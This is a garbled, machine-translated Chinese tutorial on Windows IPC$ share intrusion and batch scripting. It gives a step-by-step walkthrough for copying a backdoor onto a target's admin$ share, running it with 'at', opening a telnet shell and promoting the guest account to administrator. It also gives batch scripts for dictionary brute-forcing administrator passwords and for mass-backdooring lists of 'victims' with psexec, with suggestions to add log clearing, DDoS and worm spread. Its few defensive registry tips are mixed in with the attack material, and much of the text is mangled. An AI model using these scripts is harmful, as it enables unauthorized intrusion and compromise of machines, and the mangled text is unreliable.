4) your command input is incorrect (such as missing spaces, etc.). .
5) user name or password error (empty connection of course fine).
In addition, you can return the error number of reasons:. .
Error number 5, access denied: you use the users is not an administrator permissions, have elevated permissions;.
Error No. 51, Windows can not find the network path: Network problems;. .
Error number 53, the network path was not found: IP address error; target does not power on; target lanmanserver service did not start; target Firewall (port filtering).
Error No. 67, can not find the network name: Your lanmanworkstation service is not started; goals delete ipc $;. .
Error number 1219, the supplied credentials and already existing set of credentials: you and the other established an ipc $, delete again.
Error No. 1326, unknown user name or bad password: The reason is obvious;. .
Error number 1792, attempting to logon, but the Net Logon service is not started: target the Netlogon service is not started. (Connection to domain controller this occurs).
Error No. 2242, the user's password has expired: account policy objectives, mandatory periodic request to change your password. .
With regard to the ipc $ and not on the issue is more complex, in addition to the above reasons, there are other uncertainties, I was unable to ascertain in detail, we own experiences and tests.
6 How to open target IPC $ (paragraph quoted from article). .
First of all you need to get a does not depend on the shell of ipc $, such as SQL cmd extensions, telnet, Trojan horse, of course, the shell must be admin privileges, then you can use the shell to execute a command net share to open ipc $ ipc $ target. From the above you can see whether you can use ipc $, and there are many conditions. Verify that the related services are running, start it (don't know what to do please look at the net use command), or otherwise (such as a firewall, not kill) recommends to give up.
7 How to prevent ipc $ invasion. .
1 prohibit null connection enumeration (this does not preclude a null connection establishment, "Anatomy of a null session under win2000).
First run regedit, find the following form [HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ LSA] to RestrictAnonymous = DWORD keys read: 00000001 (if set to 2, then some problems will occur, such as a problem of some services such as WIN etc.). .
2 prohibit the default share.
1) This local shared resources. .
Run-cmd-enter net share.
2) Remove shared (one per input). .
net share ipc$ /delete 。.
net share admin $ / delete. .
net share c$ /delete 。.
net share d $ / delete (if e, f, ... ... you can continue to delete). .
3) server service is stopped.
net stop server / y (After restarting server services will re-open). .
4) modifying the registry.
Run-regedit. .
Server version: locate the following key [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] the AutoShareServer key value (DWORD): 00000000 instead.
pro version: to find as the primary key [HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ LanmanServer \ Parameters] to AutoShareWks (DWORD) of the key with the following: 00000000. .
If the above mentioned key does not exist, the newly created (right-click-New-double-byte value) of a primary key and then change the key values.
Permanently close the ipc $ 3 and the default shared services dependent: lanmanserver the server service. .
Control Panel-administrative tools-services-find server services (right click)-Properties-General-startup type-disabled.
4 Install a firewall (check the relevant settings), or the port filter (filter out 139,445, etc.), or master a new version of the optimization. .
5 sets of complex passwords, to prevent brute force password by ipc $.
VIII-related commands. .
1) to establish the connection: empty.
net use \ \ IP \ ipc $ "" / user: "" (we must note: This line of command includes three spaces). .
2) to establish a non-null connection:.
net use \ \ IP \ ipc $ "user name" / user: "password" (also has three spaces). .
3) map: default share.
net use z: \ \ IP \ c $ "password" / user: "User Name" (ie the other side of the c drive mapping for their own z-disk, other disks so on). .
If you have goals and ipc $, you can directly use IP + letter + $ access, use the command net: \\IP\c $ z.
4) Delete an ipc $ connection. .
net use \\IP\ipc$ /del 。.
5) remove the shared map. .
Net use c:/del delete mapped drive c, and other disk and so on.
net use * / del to delete all, there will be prompted to press y to confirm. .
Nine classic invasion mode.
The classic model is too invasive, and most have introduced ipc tutorial, I also Take over quoted in the original of this thanks! (Do not know who was the senior). .
11. C:\ > net use \\ .0 .0.127.. $ "password" .1\IPC/user: "username".
General use streamer, weak passwords to get through the scan, the administrator account and password. .
2. C:\>copy srv。.exe \\127。.0。.0。.1\admin$ 。.
First copy the srv. . Exe up in the passing of the Tools directory there (where $ is the admin user's c: \ winnt \ system32 \, you can also use c $, d $, which means C drive and D drive, which see you where you want to copy to go). .
。.
3. . C: \> net time \ \ 127. .0. .0. .1. .
Check the time and found 127. .0 .0. current time .1. is 6/15/2004 11: 00 am, the command completed successfully.
. .
4. C:\>at \\127。.0。.0。.1 11:05 srv。.exe 。.
Start with the at command srv. . Exe it. .
5. C:\>net time \\127。.0。.0。.1 。.
Then look up to the time yet? If the 127. .0. .0. .1 The current time is 2004/6/15 11:05 am, then ready to begin the following command. .
。.
6. . C: \> telnet 127. .0. .0. .1 99. .
Here a Telnet command, note the port is 99. The default is 23 Telnet port, but we are using a computer in each SRV as we build a 99 port Shell.
While we can Telnet go, but SRV is a one-time, next time you log still have to activate! Therefore, we intend to establish a Telnet service! This use to ntlm a. .
。.
7. . C: \> copy ntlm. . Exe \ \ 127. .0. .0. .1 \ Admin $. .
Use the Copy command to ntlm. .exe to the host (.exe is ntlm. in the Tools directory of the streamer ").
. .
8. C:\WINNT\system32>ntlm 。.
Enter ntlm start (where C: \ WINNT \ system32> refers to the other computer, run the ntlm is for this program running on the computer in the other). When the "DONE" when the note has started on normal. Then use "net start telnet" to open the Telnet service! . .
9. Telnet .0 .0.127.. .1, then enter a user name and password to access each other, the operation is just like in the DOS as easy to operate! (and then you want to do? want to do what they do, haha).
As a precaution, we then add the guest active management group. .
10. C:\>net user guest /active:yes 。.
Guest users will activate each other. .
11. C:\>net user guest 1234 。.
Guest password will be changed to 1234, or you want to set the password. .
12. C:\>net localgroup administrators guest /add 。.
Guest became the Administrator (if the administrator password to change, guest account did not change, the next time we can again use the guest access to this computer). .
Ipc $ FAQ.
1, how to establish air connections, what use is it? . .
A: use the command net use \IPipc $ ""/user: "", can be simply and goal establishing a null connection (requires target open ipc $).
For NT, the default security settings, use of space can give the target user to connect, share, access permissions for everyone to share, access to a small part of the registry, etc., nothing of value. Even less effect on the 2000. And not easy to achieve, need tools. .
2. Why do I even can't IPC $?.
A: 1. . Only nt/2000/xp and above systems can only be established ipc $. If you are using a 98/me is not the function. .
2. confirm that your order is not wrong. The correct command is: net use \ $ "target IPipc" password: "user name"/user.
Note that other more or less the space. When the user name and password does not contain spaces in double quotation marks when the two sides can be omitted. Empty password "" for. .
3, according to the returns the error number of reasons:.
Error No. 5, Access Denied: You may use the user is not administrator rights, the first upgrade rights;. .
Error number 51, Windows cannot find the network path: there may be a network problem;.
Error No. 53, can not find the network path: ip address error; target is not on; target lanmanserver service is not started; objectives of the firewall (port filtering);. .
Error number 67, could not find the network name: your lanmanworkstation service did not start; target ipc $; removed.
Error No. 1219, to provide credentials and an existing set of credentials to the conflict: the other side you have and set up a ipc $, please delete the link again. .
Error number 1326, unknown user name or bad password: obvious reasons;.
Error No. 1792, tried to log on, but the network logon service does not start: Target NetLogon service is not started. (Connects to the domain controller will appear in this case). .
Error number 2242, this user's password has expired: the account policies, the objectives of mandatory requirements to change your password.
4, on the ipc $ connection closed problem is rather complicated, does not sum up a unified understanding of the experiment in broiler sometimes come to conflicting conclusions, very difficult. And knows the problem, if no other alternatives to shell, a lot of the problem still remains. .
5, how to open the target of IPC $?.
A: First you need to get a ipc $ does not depend on the shell, such as the cmd extension sql, telnet, Trojans. Of course, this shell must be the admin permissions. Then you can use the shell execute a command net share ipc $ to an open goal ipc $. Know from the previous issue, ipc $ can use many conditions. Make sure that related services are running, did not start it (do not know how to see the net use command). Or not do so (such as a firewall, not kill) proposed to give up. .
6, how to map and access the default share?.
A: Use the command net use z: \ target IPc $ "password" / user: "User Name" will be the other side of the c drive mapping for their own z-disk, the other set forth. .
If you have goals and ipc $, you can directly use IP Plus letter plus $ access. For example, copy .exe \IPd muma.. $ pathmuma .exe. Or you can also map again, just do not have a username and password: net use y: \IPd $. Then copy .exe y:pathmuma muma.. .exe. When the path contains spaces, use full path "..
7, how to remove the mapping and ipc $ connection? . .
A: use the command net use \IPipc $/del delete and a target of ipc $ connection.
Use the command net use z: / del to delete mapping z disk, other disks so on. .
Use the command net use */del delete all. There will be a prompt to press y to confirm.
8, connected to the ipc $ and then I can do? . .
A: the account with administrator permissions to the destination connection successfully and ipc $, which means that you can do with each other's system in depth "exchanges". You can use a variety of command-line tools (such as pstools series, telnethack Win2000SrvReskit, etc.) to obtain objective information, management processes and services, etc. If the goal of opening up the default shared (not open and you'll help him released), you can upload Trojans and run. You can also use tftp, ftp upload option. As dwrcc, VNC, RemoteAdmin other tools (Trojan) also has direct control screen functions. If 2000server, open the Terminal Services can also be considered to facilitate control. The use of tools mentioned here, see the note or the related tutorial own. .
9, how to prevent others using ips $ and default share intrusion me?.
Answer: A, one way is to share ipc $ and default are deleted. But after the restart there will be. This needs to change the registry. .
1, first delete the existing.
net share ipc $ / del. .
net share admin$ /del 。.
net share c $ / del. .
... ... ... ... (There are several delete several).
2, forbidden to air link. .
First, run regedit, locate the following key [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA] the RestrictAnonymous key value (DWORD): 00000002 instead.
3, prohibiting automatically open the default share. .
For the server Edition, locate the following key [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters] the AutoShareServer key value (DWORD): 00000000 instead.
For the pro version, it is [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters] to AutoShareWks (DWORD) of the key with the following: 00000000. .
If the above mentioned key does not exist, create a new key value to be changed.
B, the other is closed and the default ipc $ share the dependent services (not recommended). .
net stop lanmanserver 。.
May be prompted to say, XXX service will close it to continue. Because there are some minor service depends on the lanmanserver. General by y to continue on it. .
C, the simplest way is to set up a complex password, to prevent brute force password by ipc $. But if you have any other vulnerabilities, ipc $ will provide convenience for further invasion.
D, there is a way to install a firewall or port filtering. .
A simple batch processing tutorial:.
Batch command, if used properly, powerful no one can beat us! Do not want to learn the, from today I will order one after another batch of the popular introduction to you, what if we do not know where to write comments :. .
Batch file is an unformatted text file that contains one or more commands. It's a file extension of .bat or .cmd... At the command prompt, type the name of the batch file, or double-click the batch file, the system calls the Cmd. file .exe all commands in the order in which they appear to run them one by one.
1. . Simple internal command batch profile. .
1. .Echo command.
Echo request to open or close the echo function, or display messages. If no parameters, echo command will display the current echo setting. .
Syntax.
echo [(on off)] [message]. .
Sample：@echo off / echo hello world 。.
In practice, we will have the command and redirect symbols (also called the pipe symbol, usually with ">>>) combined to achieve some of the command input to a specific format of the file. . This will be reflected in future cases. .
2. @ command.
Said they did not show @ the back of the order in the invasion process (such as the use batch to format the hard disk enemy) naturally can not let you use other commands to see friends. .
Sample：@echo off 。.
@ Echo Now initializing the program, please wait a minite .... .
@ X:/q/u/autoset format (format of this command is not able to use the/y parameter, the good news is that Microsoft got autoset the parameters, effects and/y is the same. ) 。.
3. . Goto command. .
Specifies the jump to the label, the label is found, the program will be processed on the next line start.
Syntax: goto label (label is a parameter, specify the batch process to move the line.). .
Sample： 。.
if (% 1 }=={} goto noparms. .
If the {% 2} == {} goto noparms (if here if,% 1,% 2, then you do not understand the first vaulted, followed by a detailed explanation. ） 。.
@ Rem check parameters if null show usage. .
:noparms 。.
echo Usage: monitor. . Bat ServerIP PortNumber. .
goto end 。.
The name tag can be played casually, but the best sense of the letter of the matter, plus months before the letter: This letter is used to indicate labels, goto command is the basis of this: to find the next jump to get there. Some of the best shows so that you people will understand your intentions seem ah. .
4. .Rem command.
Note command, in the C language fairly and /*---*/, it will not be executed, just a comment from the role, to facilitate other people to read and modify your own future. .
Rem Message 。.
Sample: @ Rem Here is the description. .
5. .Pause command.
Run Pause command, will display the following message:. .
Press any key to continue 。.
Sample:. .
@echo off 。.
: Begin. .
copy a:*。.* d：\back 。.
echo Please put a new disk into driver A. .
pause 。.
goto begin. .
In this example, on the disk in drive a, all the files are copied to the d:\back. Displays the comment prompted another disk in drive A, the pause command suspends so you replace the disk, and then press any key to continue.
6. . Call command. .
Calls one batch program from another without stopping the parent batch program. Call the command accepted calls the target labels. If a script or batch file, use the Call, it will not work in the command line.
Syntax. .
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 。.
Parameters. .
[Drive:} [Path] FileName 。.
Batch program to call the specified location and name. filename parameter must have. . Bat or. . Cmd extension. .
7. .start.
Call external programs, all DOS commands and command-line programs can be invoked by the start command. .
Invasion: common parameters.
MIN Start window minimized when. .
SEPARATE in separate spaces start 16-bit Windows program.
HIGH in the HIGH priority class of the application. .
REALTIME in the REALTIME priority class to start the application.
WAIT Start application and wait for it to end. .
These parameters are passed to the command/program parameters.
Implementation of the application is 32 - bit GUI application, CMD. . EXE applications ranging from termination to return to the command prompt. If implemented within the command script, the new behavior does not occur. .
8. .choice command.
choice to use this command allows the user to enter a character to run different commands. Use should be added / c: parameter, c: writing prompts can be entered after the character, no spaces between. It is the return code is 1234 ... .... .
Such as: choice/c: dme defrag, mem, end.
Will be displayed. .
defrag,mem,end[D,M,E]? 。.
Sample:. .
The content of the Sample. .bat as follows:.
@ Echo off. .
choice /c:dme defrag,mem,end 。.
if errorlevel 3 goto defrag (the highest value should first check the error code). .
if errorlevel 2 goto mem 。.
if errotlevel 1 goto end. .
:defrag 。.
c: \ dos \ defrag. .
goto end 。.
: Mem. .
mem 。.
goto end. .
:end 。.
echo good bye. .
This file will be displayed after you run defrag, mem, end [D, M, E]? Users can select d m e, then the if statement will make judgments, d to execute programs labeled defrag, m represents the implementation of the program labeled mem, e to execute the program labeled end segment, each segment to goto the end end end the program to jump to the label, and then the program will display a good bye, end-of-file.
9. . If the command. .
If that will determine whether or not to comply with the prescribed conditions, thus decided to execute different commands. There are three formats:.
1, if "parameters" == "string" command to be executed. .
If the parameter is equal to the specified string, the conditions are true, run the command, otherwise you run the next sentence. (Note that the two equal sign).
As if "% 1" == "a" format a:. .
if {%1}=={} goto noparms 。.
if (% 2 }=={} goto noparms. .
2. if the pending exist filename command.
If the specified file, then the conditions hold, run the command, or run the next one. .
As if config .sys exist. edit config. .sys.
3, if errorlevel / if not errorlevel number command to be executed. .
If the return code is equal to the specified number, the conditions are true, run the command, otherwise you run the next sentence.
As if errorlevel 2 goto x2. .
DOS program to run when a number is returned to the DOS errorlevel, known as the error code or return codes, and common return codes are 0, 1.
10. . For the command. .
For the command is a more complicated commands, mainly for the parameter in the specified scope, which is executed the command.
In a batch file using FOR command, specify the variable, use%% variable. .
for {%variable|%%variable} in (set) do command [ CommandLineOptions] 。.
% Variable to specify a single letter replaceable parameter. .
(Set) specifies that one or a group of files. You can use a wildcard character.
command specifies the command to execute on each file. .
Command-parameters for specific command to specify a parameter or a command line switch.
In a batch file using FOR command, specify the variable, use%% variable. .
Instead of using the% variable. Variable names are case-sensitive, so% I, unlike% I..
If command extensions are enabled, the following additional FOR command format will be. .
Support:.
FOR / D% variable IN (set) DO command [command-parameters]. .
If set contains wildcards, you specify a directory name matching, not with the file.
Name matching. .
FOR /R [[drive:]path] %variable IN (set) DO command [command- 。.
Check to [drive:] path as the root of the directory tree, point to each directory. .
FOR the statement. If you do not specify the/R, you use the current directory.
Directory. If you set only a single point (..) Character, then enumerate the directory tree. .
FOR /L %variable IN (start,step,end) DO command [command-para 。.
Incremental form of the set that from the beginning to the end of a sequence of numbers. .
Thus, (1, 1, 5) generates the sequence 1 2 3 4 5 and (5,-1,1) will produce.
Sequence (54 321). .
FOR /F ["options"] %variable IN (file-set) DO command 。.
FOR / F ["options"]% variable IN ("string") DO command. .
FOR /F ["options"] %variable IN (‘command’) DO command 。.
Or, if there usebackq options:. .
FOR /F ["options"] %variable IN (file-set) DO command 。.
FOR / F ["options"]% variable IN ("string") DO command. .
FOR /F ["options"] %variable IN (‘command’) DO command 。.
filenameset for one or more file names. Continue to filenameset in. .
The next file, each file has been opened, read and processed.
Processing includes reading the file, and divided them into the text line by line, and then each line. .
Resolves to zero or more symbols. And then using the symbols found string variable values.
Call For loop. By default, / F through each line in each file separately. .
In the first blank symbol. Skip blank lines. You can specify an optional "options".
Parameters override the default parsing. The string with quotation marks, including one or more. .
To specify different parsing options keywords. These keywords are:.
eol = c - means the end of a line comment character (for one). .
Skip = n – refers to the file at the start of the number of rows are ignored.
delims = xxx - means the separator set. This replaces the spaces and tabs key. .
The default delimiter set.
tokens = x, y, mn - which refers to a symbol of each line is passed to each iteration. .
That for itself. This will result in additional variable names.
A range format. Nth symbol specified by m. .
The symbol string of asterisks, the last character.
Then the additional variable in the final analysis of a symbol. .
Distribution and accept line reservations text..
usebackq - New syntax has been specified using the following types of cases:. .
In order to perform a post as a quoted string and. ..
Quotation mark characters as a text string command and allows the fi. .
Use double quotes in the extended from the file name.
sample1:. .
FOR /F “eol=;;; tokens=2,3* delims=, ” %i in (myfile。.txt) do command 。.
Council of myfile. . Txt in each row, ignoring lines that begin with a semicolon would. .
Each row in the second and third symbol passed for the program; and/or a comma.
Number space delimiter. Please note that this body of statements for procedure reference% i to. .
To obtain the second symbol, j to obtain references% third symbol references% k..
After the third sign to get all the remaining symbols. With space for documents. .
Name, you need to use double quotes to enclose the file name. In order to make.
Double quotation marks, you need to use usebackq option, otherwise, double quotation marks will be. .
Be understood to be used to define a string to be analyzed.
% I get special instructions in the for statement,% j and% k is through. .
Tokens = option is designed to get instructions. You can use the tokens = line.
Specify up to 26 symbols, as long as no attempt to explain a higher than the letter 'z' or. .
The ' Z ' variable. Remember, FOR a variable is a single letters, case and global;.
At the same time can not have more than 52 are in use. .
You can also use the adjacent strings FOR/F analysis of logic by.
Single quotation marks to enclose filenameset between brackets. In this way, the characters. .
String will be treated as a file in a single input line.
Finally, you can use the FOR / F command to analyze the command's output. Is to be. .
The filenameset between the parentheses into an enclosed string. The string is.
Used as the command line, passing to a sub-CMD. . EXE, the output will be arrested and brought into. .
Memory, and is treated as a file analysis. Therefore, the following examples:.
FOR / F "usebackq delims =="% i IN (`set`) DO @ echo% i. .
Enumerates the current environment, the environment variable name.
In addition, FOR variable references has been enhanced replacement. You can now use the following. .
Option syntax:.
~ I - Remove any quotes ("), to expand% I..
% ~ FI – I will expand to one percent of the fully qualified path name.
% ~ DI - only the% I expanded to a drive letter. .
% ~% PI – only to a path I expansion.
% ~ NI -% I will only expand to a file name. .
% ~ XI – only the% I expanded to a file name extension.
% ~ SI - expanded path contains short names only. .
% ~% AI – I expanded to file properties.
% ~ TI -% I would be expanded to document the date / time. .
% ~ ZI –% I expanded to the size of the file.
% ~ $ PATH: I - Find out the directory in the path environment variable, and% I expansion. .
To found the first fully-qualified name. If the environment variable.
Is not defined, or not locate the file, this key combination will be expanded. .
An empty string.
Multiple modifiers can be combined to get results:. .
% ~ DpI – only the% extend to a I drive letter and paths.
% ~ NxI -% I will only expand to a file name and extension. .
% ~ FsI – only the% extend to one I with the full pathname of the short name.
% ~ Dp $ PATH: i - Find out the directory in the path environment variable, and% I expansion. .
To found the first drive letter and paths.
% ~ FtzaI -% I would like to expand to the output line DIR. .
In the above example,% PATH I and other valid values instead. % ~ Syntax.
With a valid FOR variable name terminated. Similar% I select the uppercase variable name. .
More readable and avoid and no case of key combinations that confusion.
These are the official MS help, let's give some examples to explain For specific command in the invasion purposes. .
sample2： 。.
For the command use to achieve a target of violence Win2k host password cracking. .
We use net use \\ip\ipc $ "," password: "administrator,"/u to try this and destination hosts connections, when successful, make a note of the password.
The main command is one: for / fi% in (dict.. Txt) do net use \ \ ip \ ipc $ "i%". .
/u:”administrator” 。.
I% used to represent the admin password, in the dict. . Txt i% in the value of this check with the net use command to connect. And then run the results passed to the find command -. .
for /f i%% in (dict。.txt) do net use \\ip\ipc$ “i%%” 。.
/ U: "administrator" | find ": the command completed successfully">> D: \ ok. . Txt, so that ko the. .
sample3： 。.
Have you had the hands of a large number of chickens waiting to be kind of backdoor + Trojans do? When the number of special and more often, had a very happy thing will become very depressed:). Article begins by talking about using a batch file, you can simplify routine or repetitive tasks. So how then? Oh, imagine what you'll see. .
The main commands are also only (in the batch file to use FOR the command, the specified variable use%% variable).
@ For / f "tokens = 1,2,3 delims ="%% i in (victim.. Txt) do start call door. . Bat. .
%%i %%j %%k 。.
the use of tokens, see above sample1, where it said the order would be victim. . Txt in content delivery to the door. . Bat in the parameters% i% j% k. .
And cultivate. .bat does use the net use command to establish a connection to the IPC $, and Backdoor Trojans + copy to the victim, then the return code (If used.
errorlever =) to filter the success of the back door of the host plant, and echo out, or echo to the specified file. .
Delims = vivtim. .txt are separated by a space. I would like to see here, you will certainly understand that this victim. .txt in the what kind of content. I should be based on the%%.
%% J%% k that objects to arrange, the general is ip password username. .
Code: embryonic form.
----- Cut here then save as a batchfile (I call it main.. Bat). .
————————— 。.
@ Echo off. .
@if “%1″==”" goto usage 。.
@ For / f "tokens = 1,2,3 delims ="%% i in (victim.. Txt) do start call. .
IPChack。.bat %%i %%j %%k 。.
@ Goto end. .
:usage 。.
@ Echo run this batch in dos modle. . Or just double-click it. .
:end 。.
----- Cut here then save as a batchfile (I call it main.. Bat). .
————————— 。.
------- Cut here then save as a batchfile (I call it door.. Bat). .
—————————– 。.
@ Net use \ \% 1 \ ipc $% 3 / u: "% 2". .
@if errorlevel 1 goto failed 。.
@ Echo Trying to establish the IPC $ connection ... ... ... ... OK. .
@copy windrv32。.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 。.
USER% 2 PWD% 3>> ko. . Txt. .
@psexec \\%1 c:\winnt\system32\windrv32。.exe 。.
@ Psexec \ \% 1 net start windrv32 & & if not errorlevel 1 echo% 1 Backdoored. .
>>ko。.txt 。.
: Failed. .
@echo Sorry can not connected to the victim。.
------ Cut here then save as a batchfile (I call it door.. Bat). .
——————————– 。.
This is only a prototype automated batch plant back door, two batch and backdoors (Windrv32.. Exe), PSexec. . Exe need to be placed under the unified directory. . Batch content. .
There is an extensible, for example: to clear the log + DDOS capabilities, add a user to join the regular features, better is the automatic transmission feature (worms). here is more narrative, interested friends can study.
2. . How to use parameters in a batch file. .
You can use parameters in a batch, General from 1% to 9% in the nine, when more than one parameter is required when using shift to move, this situation is rare, we would not consider it.
sample1: fomat. . Bat. .
@echo off 。.
if "% 1" == "a" format a:. .
:format 。.
@ Format a: / q / u / auotset. .
@echo please insert another disk to driver A。.
@ Pause. .
@goto fomat 。.
This example is used to format a few floppy disks continuously, so the time required to use the dos window input fomat. . Bat a, Oh, if a bit superfluous a ~ ^ _ ^. .
sample2： 。.
When we create a IPC $ connection to the total time to enter the long list of commands, Nong Buhao the wrong, so we would be better to write a batch of some fixed order, the chickens to ip password. .
Username in the presence of parameters to the batch, so you don't have to hit command every time.
@ Echo off. .
@ Net use \\1%\ipc $/u "2%": "3%" Note well, this PASSWORD is the second parameter.
@ If errorlevel 1 echo connection failed. .
How to use parameters is relatively simple? you are so cute how ^ _ ^. .3.. .No.
3. . How to use the combination of command (Compound Command). .
1。.& 。.
Usage: The first order & second order [& third command. .]. .
In this way can concurrently execute multiple commands, regardless of whether the command succeeded.
Sample:. .
C:\>dir z: & dir c:\Ex4rch 。.
The system cannot find the path specified. .
Volume in drive C has no label。.
Volume Serial Number is 0078-59FB. .
Directory of c:\Ex4rch 。.
2002-05-14 23:51. .
